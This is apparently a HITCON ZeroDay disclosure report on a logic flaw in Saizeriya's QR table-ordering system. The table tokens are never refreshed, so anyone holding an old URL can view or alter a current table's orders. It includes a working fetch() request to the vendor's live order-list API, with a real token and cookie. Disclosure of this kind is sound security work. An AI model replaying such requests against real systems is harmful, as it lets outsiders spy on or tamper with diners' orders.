Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00352
- Vendor: 薩莉亞
- Title: 薩莉亞saizeriya桌號點餐設計邏輯漏洞
- Introduction: 未刷新 token 導致遠端任意點餐風險
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2023/07/10 15:37:00 : 新提交 (由 birdie 更新此狀態)
- 2023/07/10 16:01:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/19 19:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/19 19:56:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/07/19 19:56:33 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/09/09 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00352
- 通報者:smallbird (birdie)
- 風險:中
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
敘述
每個桌位有 QRcode,data 那串會對應到桌位,但是每組客人食用完不會刷新,導致所有擁有這網址的人都可以進去任意點餐或是查看正在實用的人的點餐紀錄並做新增、刪除等操作。
非在場的人只要點餐,後場的人就會開始製作,最後導致做出來的食物找不到客人
這是查看某一桌目前點餐紀錄的 payload:
fetch("https://byods.pointsoft.com.tw/tw/api/payment/orderList?data=ZGBqBBxNxoZb7CKHIVrjffNXMhvv1yTGnkKjy4kpa7uzmmA2K5mDTTjDeBv2-s4_et-QLTr8_4Yr-kjP1ICQ2w%3D%3D", {
"headers": {
"accept": "application/json, text/plain, /",
"accept-language": "zh-TW,zh;q=0.8",
"businessid": "byod_z0523_s2",
"sec-ch-ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Brave\";v=\"114\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"sec-gpc": "1",
"cookie": "__cf_bm=XnuXld5cptXRjHDMKTLuzVXs0h1RWICq9X5kSq58yaY-1688972726-0-Ab2Tpcnxx75OKjqWX9tmI9sq3Ub7appIWpFIkMTppHMaRpdkFoAFCqDaiGqC8bToRg==",
"Referer": "https://byods.pointsoft.com.tw/tw/",
"Referrer-Policy": "strict-origin-when-cross-origin"
},
"body": null,
"method": "GET"
});
附圖是我不在場卻可以查看當下食用的客人的餐點
本人並沒有做任何點餐行為,沒有讓餐廳出現製作完食物但沒有人在場,純測試網頁
修補建議
應該讓每桌客人結束後刷新 data 的值,並且讓已經無效的 data 值無法訪問,這樣才可以避免上述問題而導致非在場客人任意點餐或查看清單。